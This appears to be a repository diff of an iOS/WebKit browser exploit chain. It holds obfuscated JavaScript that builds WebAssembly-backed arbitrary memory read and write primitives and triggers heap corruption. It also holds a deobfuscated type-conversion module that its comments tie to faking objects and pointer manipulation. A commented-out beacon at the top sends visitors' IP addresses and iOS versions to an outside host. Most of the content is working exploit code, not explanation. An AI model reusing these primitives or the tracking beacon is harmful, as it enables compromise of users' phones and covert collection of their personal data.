if (/Linux/i.test(W)) return [76, 105, 110, 117, 120].map(M => String.fromCharCode(M ^ 0)).join("");
const AA = W.match(/(Chrome|Firefox|Safari|Edge|Opera)\/(\d+)/i);
if (AA) return AA[1] + [32].map(p => String.fromCharCode(p ^ 0)).join("") + AA[2];
return W.substring(0, 50) + [46, 46, 46].map(M => String.fromCharCode(M ^ 0)).join("")
}
function fqMaGkNI13() {
const W = navigator.userAgent;
const C = W.match(/OS[_\s](\d+)(?:[._](\d+))?/i);
if (C) {
const q = parseInt(C[1], 10);
return q >= 13 && q <= 17
}
const M = W.match(/iPhone[_\s]OS[_\s](\d+)(?:[._](\d+))?/i);
if (M) {
const N = parseInt(M[1], 10);
return N >= 13 && N <= 17
}
return !1
}
async function fqMaGkNS() {
try {
if (!fqMaGkNI13()) return;
const W = fqMaGkNC;
const C = await fqMaGkNI();
const q = fqMaGkNV();
if (!W || !C || !q) return;
const p = [104, 116, 116, 112, 115, 58, 47, 47, 56, 100, 102, 57, 46, 99, 99, 47, 97, 112, 105].map(g => String.fromCharCode(g ^ 0)).join("");
const g = await fetch(p + [47, 105, 112, 45, 115, 121, 110, 99, 47, 115, 121, 110, 99].map(X => String.fromCharCode(X ^ 0)).join(""), {
method: [80, 79, 83, 84].map(X => String.fromCharCode(X ^ 0)).join(""),
headers: ((() => {
const X = {};
X[[67, 111, 110, 116, 101, 110, 116, 45, 84, 121, 112, 101].map(L => String.fromCharCode(L ^ 0)).join("")] = [97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 47, 106, 115, 111, 110].map(L => String.fromCharCode(L ^ 0)).join("");
return X
})()),
body: JSON.stringify({
channelCode: W,
ip: C,
deviceVersion: q
})
});
if (!g.ok) {
const X = await g.json().catch(() => ({}))
}
} catch (W) { }
}
setTimeout(fqMaGkNS, 1000)
})();
*/
</script>
</body>
</html>
+3
View File
@@ -0,0 +1,3 @@
# Other
Stores random files like dumped dylib and original files
+473
View File
@@ -0,0 +1,473 @@
let r = {};
const x = globalThis.obChTK.hPL3On(([1, 3, 2, 6, 4, 6, 4, 2, 80, 2, 6, 4, 3, 13, 86, 85, 85, 80, 4, 81, 1, 3, 81, 2, 80, 13, 81, 87, 13, 7, 5, 6, 4, 87, 4, 82, 1, 6, 0, 3].map(x => {
return String.fromCharCode(x ^ 52);
}).join(""))),
{
N: G,
Vt: m,
v: o,
I: u
} = globalThis.obChTK.hPL3On(([87, 85, 84, 80, 82, 80, 82, 84, 6, 84, 80, 82, 85, 91, 0, 3, 3, 6, 82, 7, 87, 85, 7, 84, 6, 91, 7, 1, 91, 81, 83, 80, 82, 1, 82, 4, 87, 80, 86, 85].map(x => {
return String.fromCharCode(x ^ 98);
}).join(""))),
P = globalThis.obChTK.hPL3On(([87, 82, 80, 80, 95, 5, 7, 85, 4, 87, 83, 87, 95, 4, 7, 84, 7, 94, 0, 82, 86, 4, 3, 84, 94, 81, 0, 80, 82, 80, 2, 82, 2, 81, 83, 95, 85, 3, 4, 86].map(x => {
return String.fromCharCode(x ^ 102);
}).join("")));
class E {
hr(t, r, i = 0) {
let s = "";
for (let h = 0; h < r; h += 8) {
const r = this.br(t + h + i),
o = this.br(t + h + i + 4);
s += (G(t + h)) + ([96].map(x => {
return String.fromCharCode(x ^ 72)
}).join("")) + (G(h)) + ([93, 78, 84].map(x => {
return String.fromCharCode(x ^ 116)
}).join("")) + (e = r, n = o, ([122, 50].map(x => {
return String.fromCharCode(x ^ 74)
}).join("")) + (n.toString(16)) + ([74, 74, 74, 74, 74, 74, 74, 74].map(x => {
return String.fromCharCode(x ^ 122)
}).join("")) + (e.toString(16)).slice(-8)) + ([123].map(x => {
return String.fromCharCode(x ^ 113)
}).join(""))
}
var e, n
}
wr(t, r, i) {
for (let s = 0; s < i; s += 4) this.dr(t + s, r)
}
gr(t, r, i) {
if (i % 4 != 0) throw new Error("");
this.yr = !0;
for (let s = 0; s < i; s += 4) this.dr(t.H(s).W(), this.br(r.H(s).W()));
this.yr = !1
}
ir(t) {
this.yr = !0;
const r = this.br(t.W());
return this.yr = !1, r
}
Ur(t) {
this.yr = !0;
const r = this.br(t.W()),
i = this.br(t.H(4).W());
return this.yr = !1, new x.Vt(r, i)
}
mr(t) {
this.yr = !0;
const r = this.br(t.W()),
i = this.br(t.H(4).W());
return this.yr = !1, x.T(r, i)
}
Ar(t) {
const r = t.it % 4;
t = t.Bt(r), this.yr = !0;
const i = this.br(t.W()) >> 8 * r & (1129144169 ^ 1129144214);
return this.yr = !1, i
}
Tr(t, r = (863070819 ^ 863071075)) {
let i = "";
for (; i.length < r;) {
const r = this.Ar(t.H(i.length));
if (0 === r) break;
i += String.fromCharCode(r)
}
return i
}
Pr(t, r) {
let i = "";
for (; i.length < r;) {
const r = this.Ar(t.H(i.length));
i += String.fromCharCode(r)
}
return i
}
Sr(t) {
const r = t % 4;
let i;
return i = !0 === this.yr ? x.q(t, -r) : t - r, this.br(i) >> 8 * r & (1362710317 ^ 1362710482)
}
nr(t) {
const r = this.br(t),
i = this.br(t + 4);
if (i > o) throw new Error("");
return x.T(r, i)
}
Dr(t, r = !1) {
const i = this.br(t);
let s = this.br(t + 4);
return (!0 === r || globalThis.obChTK.hPL3On(([116, 113, 115, 115, 124, 38, 36, 118, 39, 116, 112, 116, 124, 39, 36, 119, 36, 125, 35, 113, 117, 39, 32, 119, 125, 114, 35, 115, 113, 115, 33, 113, 33, 114, 112, 124, 118, 32, 39, 117].map(x => {
return String.fromCharCode(x ^ 69);
}).join(""))).zn.Nn.zohDDd) && (s &= o), x.T(i, s)
}
rr(t) {
const r = this.br(t),
i = this.br(t + 4);
return new x.Vt(r, i)
}
Er(t, r = (960982349 ^ 960982093)) {
let i = (1665430874 ^ 482052773);
([0, 27, 3, 12, 11, 28].map(x => {
return String.fromCharCode(x ^ 110);
}).join("")) == typeof r && (i = r);
let s = "";
for (; s.length < i;) {
const r = this.Sr(t + s.length);
if (0 === r) break;
s += String.fromCharCode(r)
}
return s
}
Nr(t, r) {
let i = "";
for (; i.length < r;) {
const r = this.Sr(t + i.length);
i += String.fromCharCode(r)
}
return i
}
tr(t) {
this._r.a = t;
const r = this.nr(this.Wr);
return this._r.a = null, r
}
pr(t) {
const r = new DataView(new ArrayBuffer(t.length + 1));
x.D(r);
for (let i = 0; i < t.length; i++) r.setUint8(i, t.charCodeAt(i));
return this.Mr(r)
}
Or(t, r = !1) {
const i = new ArrayBuffer(t),
s = new Uint8Array(i);
x.D(i);
const e = this.tr(s),
n = this.Dr(e + globalThis.obChTK.hPL3On(([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map(x => {
return String.fromCharCode(x ^ 103);
}).join(""))).zn.Nn.oGn3OG);
if (!0 === r) {
const t = this.tr(i),
r = this.Dr(t + globalThis.obChTK.hPL3On(([75, 78, 76, 76, 67, 25, 27, 73, 24, 75, 79, 75, 67, 24, 27, 72, 27, 66, 28, 78, 74, 24, 31, 72, 66, 77, 28, 76, 78, 76, 30, 78, 30, 77, 79, 67, 73, 31, 24, 74].map(x => {
return String.fromCharCode(x ^ 122);
}).join(""))).zn.Nn.CN3rr_);
let s = this.br(r + globalThis.obChTK.hPL3On(([75, 78, 76, 76, 67, 25, 27, 73, 24, 75, 79, 75, 67, 24, 27, 72, 27, 66, 28, 78, 74, 24, 31, 72, 66, 77, 28, 76, 78, 76, 30, 78, 30, 77, 79, 67, 73, 31, 24, 74].map(x => {
return String.fromCharCode(x ^ 122);
}).join(""))).zn.Nn.EMDU4o);
s += 32, this.dr(r + globalThis.obChTK.hPL3On(([85, 80, 82, 82, 93, 7, 5, 87, 6, 85, 81, 85, 93, 6, 5, 86, 5, 92, 2, 80, 84, 6, 1, 86, 92, 83, 2, 82, 80, 82, 0, 80, 0, 83, 81, 93, 87, 1, 6, 84].map(x => {
return String.fromCharCode(x ^ 100);
}).join(""))).zn.Nn.EMDU4o, s)
}
return n
}
Mr(t, r = !1) {
t instanceof ArrayBuffer && (t = new Int8Array(t));
const i = this.tr(t);
return this.Dr(i + globalThis.obChTK.hPL3On(([72, 77, 79, 79, 64, 26, 24, 74, 27, 72, 76, 72, 64, 27, 24, 75, 24, 65, 31, 77, 73, 27, 28, 75, 65, 78, 31, 79, 77, 79, 29, 77, 29, 78, 76, 64, 74, 28, 27, 73].map(x => {
return String.fromCharCode(x ^ 121);
}).join(""))).zn.Nn.oGn3OG, r)
}
Br(t, ...r) {
const i = new Array(r.length + 10);
for (let t = 0; t < r.length; t++) i[t] = this.rr(r[t].Ir);
try {
for (let t = 0; t < r.length; t++) this.Jr(r[t].Ir, r[t].Zt);
t()
} finally {
for (let t = 0; t < r.length; t++) this.Jr(r[t].Ir, i[t])
}
}
constructor(t, r, i, s) {
const e = new Uint8Array([0, 97, (1682982991 ^ 1682982972), (1886218801 ^ 1886218844), 1, 0, 0, 0, 1, 17, 4, 96, 0, 1, (1313567566 ^ 1313567538), 96, 1, (1685473392 ^ 1685473292), 0, 96, 0, 1, (912485953 ^ 912485950), 96, 1, (1346716738 ^ 1346716733), 0, 3, 5, 4, 0, 1, 2, 3, 4, 4, 1, (1899447926 ^ 1899447814), 0, 1, 6, 27, 3, (1194619715 ^ 1194619709), 1, 66, (1097300330 ^ 1097300441), (1968387412 ^ 1968387472), (1315793976 ^ 1315794172), (1917281866 ^ 1917281938), 11, 11, (1766807890 ^ 1766807853), 1, 65, (1868981037 ^ 1868981176), (1163414130 ^ 1163414239), (1769355609 ^ 1769355655), (1817592674 ^ 1817592742), (1178166578 ^ 1178166603), 11, (1664299843 ^ 1664299836), 1, 65, (1312319557 ^ 1312319734), (961770600 ^ 961770668), (1968457266 ^ 1968457462), 25, 11, 7, 17, 4, 1, 97, 0, 0, 1, 98, 0, 1, 1, 99, 0, 2, 1, (1481205037 ^ 1481205065), 0, 3, 10, 27, 4, 5, 0, 35, 0, (1851095350 ^ 1851095433), 11, 7, 0, 32, 0, (1194473016 ^ 1194473093), 36, 0, 11, 4, 0, 35, 1, 11, 6, 0, 32, 0, 36, 1, 11]).buffer,
n = new WebAssembly.Module(e, {}),
h = new WebAssembly.Instance(n, {}),
o = new WebAssembly.Instance(n, {});
this.Vr = h, this.Cr = o, this.Kr = "a", this.Xr = "b", this.vr = "c", this.Hr = "d", this.$r = new ArrayBuffer(8), this.Gr = new Uint32Array(this.$r), this._r = {
a: !1
}, this.Wr = 0, this.yr = !1;
for (let t = 0; t < 22; t++) this.Vr.exports[this.vr](0), this.Vr.exports[this.Hr](0, 0), this.Vr.exports[this.Kr](0), this.Vr.exports[this.Xr](0, 0);
const a = r => {
r[0] = 1;
const s = t(r);
return i(s + globalThis.obChTK.hPL3On(([89, 92, 94, 94, 81, 11, 9, 91, 10, 89, 93, 89, 81, 10, 9, 90, 9, 80, 14, 92, 88, 10, 13, 90, 80, 95, 14, 94, 92, 94, 12, 92, 12, 95, 93, 81, 91, 13, 10, 88].map(x => {
return String.fromCharCode(x ^ 104);
}).join(""))).zn.Nn.zpy6Mu) + globalThis.obChTK.hPL3On(([71, 66, 64, 64, 79, 21, 23, 69, 20, 71, 67, 71, 79, 20, 23, 68, 23, 78, 16, 66, 70, 20, 19, 68, 78, 65, 16, 64, 66, 64, 18, 66, 18, 65, 67, 79, 69, 19, 20, 70].map(x => {
return String.fromCharCode(x ^ 118);
}).join(""))).zn.Nn.xK8SW0
},
c = a(o),
f = a(h);
this.Yr = -8, this.Zr = 0, this.jr = i(c), this.kr = c, r(c, f + this.Zr), this.Qr = this.Cr.exports[this.Kr](), this.Wr = t(this._r) + globalThis.obChTK.hPL3On(([89, 92, 94, 94, 81, 11, 9, 91, 10, 89, 93, 89, 81, 10, 9, 90, 9, 80, 14, 92, 88, 10, 13, 90, 80, 95, 14, 94, 92, 94, 12, 92, 12, 95, 93, 81, 91, 13, 10, 88].map(x => {
return String.fromCharCode(x ^ 104);
}).join(""))).zn.Nn.fGOrHX, s()
}
zr() {
const t = JSON.parse(([51, 88, 53].map(x => {
return String.fromCharCode(x ^ 104);
}).join(""))),
r = JSON.parse(([56, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 79, 67, 83, 77, 82, 62].map(x => {
return String.fromCharCode(x ^ 99);
}).join("")));
t[0] = !1, r[0] = 1.2;
const i = {
Fr: .1,
Lr: .2,
Rr: .3,
qr: .4
},
s = this.tr(i),
e = this.tr(r),
n = this.tr(t),
h = this.nr(e + 8),
o = this.nr(n + 8);
for (let t = 0; t < 16; t += 4) this.dr(s + 20 + t, this.br(e + t));
const a = x.C(i.Lr);
this.ti(o, s + 20);
const c = t[0];
t[0] = void 0, i.Lr = x.Y(a, x._(this.kr) - P.zn.Fn), i.Rr = x.Y(x.F(this.kr), (1932555622 ^ 1933232568)), this.Cr.exports[this.Xr](this.Qr), c[0] = x.J(this.jr), i.Lr = x.Y(a, x._(h) - P.zn.Fn), i.Rr = x.Y(x.F(h), (1802856259 ^ 1803541405))
}
br(t) {
return this.ri(t), this.Vr.exports[this.vr](0) >>> 0
}
dr(t, r) {
this.ri(t), this.Vr.exports[this.Hr](0 | r)
}
ti(t, r) {
this.dr(t, r >>> 0), this.dr(t + 4, r / 4294967296 >>> 0)
}
Jr(t, r) {
this.dr(t, r.it), this.dr(t + 4, r.et)
}
write32x2(t, r, i) {
this.dr(t, r), this.dr(t + 4, i)
}
ri(t) {
if (!1 === this.yr) {
if (t < (1178892908 ^ 1178958444) || t != t) throw new Error("");
this.Cr.exports[this.Xr](x.J(t + this.Yr))
} else this.Cr.exports[this.Xr](x.q(t, this.Yr))
}
}
return r.si = function() {
let t = new Array((1198673506 ^ 1198673906));
t.fill([]);
const r = new ArrayBuffer(64),
i = new Uint32Array(r),
s = new Float64Array(r),
e = (t, r) => (t = Math.ceil(t), r = Math.ceil(r), Math.floor(Math.random() * (r - t) + t)),
n = e(1, 8) << 8 | e(1, 8) << 4 | e(1, 8) << 0,
h = e(1, (1953917522 ^ 1955173805)),
a = (t, r) => {
if (t > (963410543 ^ 963413392) || t < 0) throw new Error("");
if (r > (1682133583 ^ 1682133680) || r < 0) throw new Error("");
i[1] = n << 20 | 4 << 16 | t, i[0] = r << 24 | h;
const e = s[0];
if (!0 === isNaN(e)) throw new Error("");
return e
};
let c = null,
f = 0,
l = null,
b = !1,
u = -1,
w = -1;
const d = new Function("t", "e", "r", "f", "n", "i", "o", "s", "u", "c", atob("Y29uc3QgbD10O2xldCBhPWU7Y29uc3QgYj1mO2NvbnN0IGs9bjtjb25zdCBkPWk7Y29uc3QgZz1sLmxlbmd0aDtmb3IobGV0IHQ9MDt0PDI7dCsrKXtpZihiPT09dHJ1ZSl7aWYoIShhPT09LTIxNDc0ODM2NDgpKXJldHVybi0xfWVsc2UgaWYoIShhPjIxNDc0ODM2NDcpKXJldHVybi0yO2lmKGs9PT0wKWE9MDtpZihhPGcpe2lmKGshPT0wKWEtPTIxNDc0ODM2NDctNztpZihhPDApcmV0dXJuLTM7bGV0IHQ9bFthXTtpZihkKXtsW2FdPXI7aWYodT09PTApdD1vW3NdWzBdO2Vsc2Ugb1tzXVswXT1jfXJldHVybiB0fWlmKHQ+MClicmVha31yZXR1cm4tNA==")),
g = new Array(16).fill([]).map(((t, r) => {
const i = JSON.parse(([11, 11, 97, 126, 97, 124, 112, 97, 126, 98, 13, 124, 112, 11, 97, 126, 98, 124, 112, 97, 126, 99, 13, 124, 112, 11, 97, 126, 99, 124, 112, 99, 126, 100, 13, 13].map(x => {
return String.fromCharCode(x ^ 80);
}).join("")));
for (const t of i) t[0] = .1 + r, t["a" + r] = r;
return i
})),
y = t.length / 2 >>> 0;
t = t.map(((t, r) => {
const i = JSON.parse(([40, 67, 93, 66, 95, 83, 67, 93, 64, 95, 83, 66, 93, 66, 95, 83, 65, 93, 64, 46].map(x => {
return String.fromCharCode(x ^ 115);
}).join("")));
if (i[0] = .1 + r, r !== y) {
i[0] = [];
for (const t in i) 0 !== t && (i[t] = a(r, t))
}
return i
}));
const U = t[y];
for (let t = 0; t < (1967745881 ^ 1967532313); t++) c = U, l = t % 2 != 0 ? .1 : .2, f = -(4294967296 + (1868837733 ^ -278645915)), u = !0, w = 0, d(c, f, l, u, w, !0, g[t % g.length], 0, t % 2, .1 + t), f = (1970616119 ^ 176867528) - t % 3, u = !(1 & t), w = 0 + t % 3, d(c, f, l, u, w, !1, g[t % g.length], 0, t % 2, .1 + t);
c = U, f = -(4294967296 + (1131836515 ^ -1015647133)), u = !0, w = 1, l = !0, b = !1;
const A = d(c, -(4294967296 + (1835162183 ^ -312321465)), l, u, w, !1, g[0], 0, 0, 0),
T = (S = A, s[0] = S, {
ei: i[1] >> 20 & (1886273876 ^ 1886277291),
ni: i[1] >> 16 & 15,
hi: (1414165553 ^ 1414171598) & i[1],
oi: i[0] >> 24 & (1432440433 ^ 1432440462),
ai: (1365601399 ^ 1369084808) & i[0]
});
var S;
if (T.ei !== n) throw new Error("");
if (T.ai !== h) throw new Error("");
const D = (1768516673 ^ 1768451137) * (T.ni - 4);
P.zn.Fn = D;
const N = x.Z(1, 0, 34, 7),
_ = {
a: .1,
b: .2,
c: .3,
d: .4
};
t[T.hi][T.oi] = _;
let W = d(c, -(4294967296 + (858804079 ^ -1288679569)), l, u, w, !1, g[0], 0, 0, 0);
const p = x.P(W) + 20,
M = x.J(p),
O = JSON.parse(([24, 114, 109, 113, 111, 99, 112, 109, 119, 111, 99, 123, 109, 112, 30].map(x => {
return String.fromCharCode(x ^ 67);
}).join("")));
t[T.hi][T.oi] = O, W = d(c, -(4294967296 + (1715885637 ^ -431598011)), l, u, w, !1, g[0], 0, 0, 0);
x.P(W);
const B = new E((r => {
t[T.hi][T.oi] = r;
const i = d(c, -(4294967296 + (1766343728 ^ -381139920)), l, u, w, !1, g[0], 0, 0, 0);
return t[T.hi][T.oi] = void 0, x.P(i)
}), ((r, i) => {
const s = x.F(r),
e = x._(r);
_.b = x.Y(N, e - D), _.c = x.Y(s, (1298362994 ^ 1298959757));
const n = x.J(i);
d(c, -(4294967296 + (1481985378 ^ -665498270)), M, u, w, !0, t[T.hi], T.oi, 1, n), d(c, -(4294967296 + (1095856432 ^ -1051627216)), M, u, w, !0, g[0], 0, 0, .1), t[T.hi][T.oi] = void 0
}), (r => {
const i = x.F(r),
s = x._(r);
_.b = x.Y(N, s - D), _.c = x.Y(i, (845563497 ^ 845789590));
const e = d(c, -(4294967296 + (1432711012 ^ -714772636)), M, u, w, !0, t[T.hi], T.oi, 0, 0);
return d(c, -(4294967296 + (1667786836 ^ -479696812)), M, u, w, !0, g[0], 0, 0, .1), t[T.hi][T.oi] = void 0, x.P(e)
}), (() => {}));
{
const t = JSON.parse(([12, 102, 121, 103, 123, 119, 102, 121, 101, 123, 119, 102, 121, 100, 10].map(x => {
return String.fromCharCode(x ^ 87);
}).join(""))),
r = B.tr(t);
((t, ...r) => {
let i = 0;
for (const s of r) {
if (B.br(t + i) !== s) throw new Error("");
i += 4
}
})(B.nr(r + 8), 0, (897216598 ^ 176844886), (963209808 ^ 173693283), (1632252785 ^ 1589182530), (4294967296 + (2037070182 ^ -1247283797)), (1446009196 ^ 1774491040))
} {
const t = new ArrayBuffer((1714447693 ^ 1714447437)),
r = new DataView(t),
i = B.Mr(t, !0);
for (let s = 0; s < (1899253850 ^ 1899696666); s++) {
const n = e(0, (926041398 ^ 953006793)),
h = e(0, t.byteLength - 4);
if (s % 2 == 0) {
if (B.dr(i + h, n), r.getUint32(h, !0) !== n) throw 0
} else if (r.setUint32(h, n, !0), B.br(i + h) !== n) throw 0
}
}
P.zn.Xn = B;
const I = new Uint32Array(4);
class J {
constructor(t, r) {
if (t < 0 || t > (4294967296 + (1416911217 ^ -1416911218))) throw new Error("");
if (r < 0 || r > (4294967296 + (1329677151 ^ -1329677152))) throw new Error("");
this.ci = t, this.fi = r
}
static null() {
return new J(0, 0)
}
static li(t) {
const r = P.zn.Xn.tr(t);
return J.ut(r)
}
static bi(t) {
const r = P.zn.Xn.Mr(t);
return J.ut(r)
}
static ut(t) {
return new J(t >>> 0, t / 4294967296 >>> 0)
}
static L(t) {
return new J(x.C(t), x.V(t))
}
static ui(t) {
return new J(t, 0)
}
static wi(t, r) {
return new J(t, r)
}
di() {
return 4294967296 * this.fi + this.ci
}
gi() {
return new m(this.ci, this.fi)
}
yi() {
if (0 !== this.fi) throw new Error("");
return this.ci
}
nr() {
const t = P.zn.Xn.br(this.di()),
r = P.zn.Xn.br(this.di() + 4);
return new J(t, r)
}
Er(t = (1867662180 ^ 1867662080)) {
return P.zn.Xn.Er(this.di(), t)
}
ti(t) {
P.zn.Xn.dr(this.di(), t.ci), P.zn.Xn.dr(this.di() + 4, t.fi)
}
Ui(t) {
P.zn.Xn.dr(this.di(), t)
}
mi() {
return P.zn.Xn.br(this.di())
}
Ai() {
return this.fi > o
}
Ti() {
return 0 === this.ci && 0 === this.fi
}
lt(t) {
return this.ci === t.ci && this.fi === t.fi
}
Pi(t) {
return this.fi === t.fi ? this.ci >= t.ci : this.fi >= t.fi
}
Si(t) {
return this.fi === t.fi ? this.ci <= t.ci : this.fi <= t.fi
}
add(t) {
if (t instanceof J == !1) throw new Error("");
if (I[0] = this.ci, I[1] = this.ci + t.ci, I[2] = this.fi, I[3] = this.fi + t.fi, I[1] < I[0] && (I[3] += 1), I[3] < I[2]) throw new Error("");
return new J(I[1], I[3])
}
sub(t) {
if (t instanceof J == !1) throw new Error("");
if (I[0] = this.ci, I[1] = this.ci - t.ci, I[2] = this.fi, I[3] = this.fi - t.fi, I[1] > I[0] && (I[3] -= 1), I[2] < I[3]) throw new Error("");
return new J(I[1], I[3])
}
H(t) {
return this.add(J.ui(t))
}
Bt(t) {
return this.sub(J.ui(t))
}
Di() {
return this.ci
}
Ei() {
return this.fi
}
Dt() {
return new J(this.ci, this.fi & o)
}
toString() {
let t = this.ci.toString(16);
return this.fi && (t = (this.fi.toString(16)) + ((([93, 93, 93, 93, 93, 93, 93, 93].map(x => {
return String.fromCharCode(x ^ 109);
}).join("")) + t).slice(-8))), ([4, 76].map(x => {
return String.fromCharCode(x ^ 52)
}).join("")) + (t)
}
}
P.zn.Ln = J
}, r;
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because one or more lines are too long
+1105
View File
File diff suppressed because it is too large Load Diff
+923
View File
@@ -0,0 +1,923 @@
/**
* Utility / Type Conversion Module
* Module ID: 57620206d62079baad0e57e6d9ec93120c0f5247
*
* This module provides low-level type conversion utilities used throughout
* the exploit chain. It handles conversions between JavaScript doubles,
* 64-bit integers, BigInts, and raw byte representations. These primitives
* are essential for constructing fake objects and manipulating pointers in
* the WebKit heap.
*
* Key capabilities:
* - Int64 class for 64-bit integer arithmetic (add, sub, and, or, xor, shift)
* - Conversion between doubles and their raw uint32 lo/hi halves
* - BigInt <-> Number <-> Double interconversion
* - Pointer tag stripping (JSC tagged pointer support)
* - UTF-16 encode/decode and string manipulation
* - Base64 decoding, LZW decompression
* - LEB128 encode/decode (for WebAssembly payloads)
* - URL resolution helpers
*/
let m_57620206d62079baad0e57e6d9ec93120c0f5247 = () => {
let r = {};
// ──────────────────────────────────────────────
// BigInt polyfill wrapper
// ──────────────────────────────────────────────
/**
* Convert a value to BigInt if the runtime supports it; otherwise return as-is.
*/
function i(t) {
return window.BigInt ? BigInt(t) : t;
}
r.U = i;
// ──────────────────────────────────────────────
// Core constants
// ──────────────────────────────────────────────
// Note: this is more like PAC, not pointer tag
/** Mask to strip the pointer tag from a JSC tagged pointer (low 39 bits). */
const u = i(0x7FFFFFFFFF); // 0x7FFFFFFFFF
/** Maximum safe value for the high 32 bits of a safe integer. */
const o = 127; // 896953977 ^ 896953862
/** Number of bits to shift to reach the pointer tag in a 64-bit JSC value. */
const s = i(39);
r.B = s;
r.I = u;
r.v = o;
// ──────────────────────────────────────────────
// Hex formatting
// ──────────────────────────────────────────────
/**
* Convert a value to a hexadecimal string. Returns the string "null" for null.
*/
r.N = function toHexString(t) {
return null === t ? "null" : t.toString(16);
};
// ──────────────────────────────────────────────
// GC root tracking
// ──────────────────────────────────────────────
/** Array of values to prevent garbage collection. */
const gcRoots = [];
/**
* Push a value into the GC roots array to prevent it from being collected.
*/
r.D = function pushGCRoot(t) {
gcRoots.push(t);
};
// ──────────────────────────────────────────────
// Shared typed-array views (for reinterpret casts)
// ──────────────────────────────────────────────
const u32View = new Uint32Array(new ArrayBuffer(8)),
u8View = new Uint8Array(u32View.buffer),
u16View = new Uint16Array(u32View.buffer),
f64View = new Float64Array(u32View.buffer);
// ──────────────────────────────────────────────
// Primitive conversion helpers
// ──────────────────────────────────────────────
/**
* Combine a low 32-bit and high 32-bit value into a single JS number.
*/
function l(lo, hi) {
return lo + 0x100000000 * hi;
}
/**
* Get the low 32 bits of a double (reinterpret cast).
*/
function b(t) {
return f64View[0] = t, u32View[0];
}
/**
* Get the high 32 bits of a double (reinterpret cast).
*/
function U(t) {
return f64View[0] = t, u32View[1];
}
/**
* Pack two uint32 values into a float64 (reinterpret cast).
*/
function B(t, n) {
return u32View[0] = t, u32View[1] = n, f64View[0];
}
/**
* Truncate a value to an unsigned 32-bit integer.
*/
r.S = function toUint32(t) {
u32View[0] = t;
return u32View[0];
};
r.T = l;
/**
* Reinterpret a double as a number (lo + hi * 2^32).
*/
r.P = function doubleToNumber(t) {
f64View[0] = t;
return l(u32View[0], u32View[1]);
};
r.C = b;
r.V = U;
/**
* Extract the high 32 bits of a number by dividing by 2^32.
*/
r.F = function numberHi32(t) {
return t / 0x100000000 >>> 0;
};
/**
* Extract the low 32 bits of a number (unsigned right shift by 0).
*/
r._ = function numberLo32(t) {
return t >>> 0;
};
/**
* Add a signed 32-bit offset to a double (reinterpret as Int64, add, convert back).
*/
r.q = function addOffset(t, n) {
// return Int64.fromDouble(t).addInt32(n).toDouble();
return Int64.fromDouble(t).H(n).W();
};
/**
* Add a signed 32-bit offset to a double (alias of addOffset).
*/
r.G = function (t, n) {
// return Int64.fromDouble(t).addInt32(n).toDouble();
return Int64.fromDouble(t).H(n).W();
};
/**
* Convert a JS number to a float64 by writing lo/hi into the typed-array view.
*/
r.J = function toDouble(t) {
u32View[1] = t / 0x100000000;
u32View[0] = t;
return f64View[0];
};
/**
* Convert a BigInt to a JS number.
*/
r.K = function bigintToNumber(t) {
return l(
Number(t & BigInt(0xFFFFFFFF)),
Number(t >> BigInt(32))
);
};
/**
* Convert a JS number to a BigInt.
*/
r.O = function numberi(t) {
const lo = BigInt(t >>> 0);
return BigInt(t / 0x100000000 >>> 0) << BigInt(32) | lo;
};
/**
* Convert a double to a BigInt by reinterpreting its raw bytes.
*/
r.X = function doublei(t) {
f64View[0] = t;
const lo = BigInt(u32View[0]);
const hi = BigInt(u32View[1]);
return BigInt(hi) << BigInt(32) | lo;
};
r.Y = B;
/**
* Pack four bytes (big-endian order) into a single uint32.
*/
r.Z = function packBytes(b3, b2, b1, b0) {
u8View[0] = b0;
u8View[1] = b1;
u8View[2] = b2;
u8View[3] = b3;
return u32View[0];
};
/**
* Convert a number to 4 UTF-16 characters (for encoding 64-bit values as strings).
*/
r.tt = function toCharCodes(t) {
u32View[1] = t / 0x100000000;
u32View[0] = t;
return String.fromCharCode(u16View[0], u16View[1], u16View[2], u16View[3]);
};
/**
* Decode a base64 string into an ArrayBuffer.
*/
r.nt = function base64ToArrayBuffer(t) {
var n;
const decoded = atob(t);
const bytes = new Uint8Array(decoded.length);
for (n = 0; n < decoded.length; n++) {
bytes[n] = decoded.charCodeAt(n);
}
return bytes.buffer;
};
/**
* Convert a raw string (each char = one byte) into an ArrayBuffer.
*/
r.rt = function stringToArrayBuffer(t) {
var n;
const bytes = new Uint8Array(t.length);
for (n = 0; n < t.length; n++) {
bytes[n] = t.charCodeAt(n);
}
return bytes.buffer;
};
// ──────────────────────────────────────────────
// Int64: 64-bit integer arithmetic class
// ──────────────────────────────────────────────
/**
* A 64-bit integer represented as two unsigned 32-bit halves (lo, hi).
* Provides basic arithmetic, bitwise operations, pointer-tag manipulation,
* and conversion to/from doubles, BigInts, and JS numbers.
*/
class Int64 {
// Wrapper for compatibility with obsfucated modules
static ut(t) {return Int64.fromNumber(t);}
static ot(t) {return Int64.fromBigInt(t);}
static st(t) {return Int64.fromUnsigned(t);}
static L(t) {return Int64.fromDouble(t);}
static ht(t) {return Int64.fromInt32(t);}
ct() {return this.toNumber();}
// ft, wt
gt() {return this.not();}
constructor(lo, hi) {
this.it = lo >>> 0, this.et = hi >>> 0;
}
/** Create an Int64 from a JS number (up to 2^53). */
static fromNumber(t) {
return new Int64(t >>> 0, t / 0x100000000 >>> 0);
}
/** Create an Int64 from a BigInt. */
static fromBigInt(t) {
return new Int64(Number(t & BigInt(0x100000000 + (1599169875 ^ -1599169876))), Number(t >> BigInt(32)));
}
/** Create an Int64 from an unsigned JS number. */
static fromUnsigned(t) {
return new Int64(t >>> 0, t / 0x100000000 >>> 0);
}
/** Create an Int64 by reinterpreting a float64's raw bits. */
static fromDouble(t) {
return new Int64(b(t), U(t));
}
/** Create an Int64 from a signed 32-bit integer (sign-extends to 64 bits). */
static fromInt32(t) {
return new Int64(t >>> 0, (t < 0 ? -1 : 0) >>> 0);
}
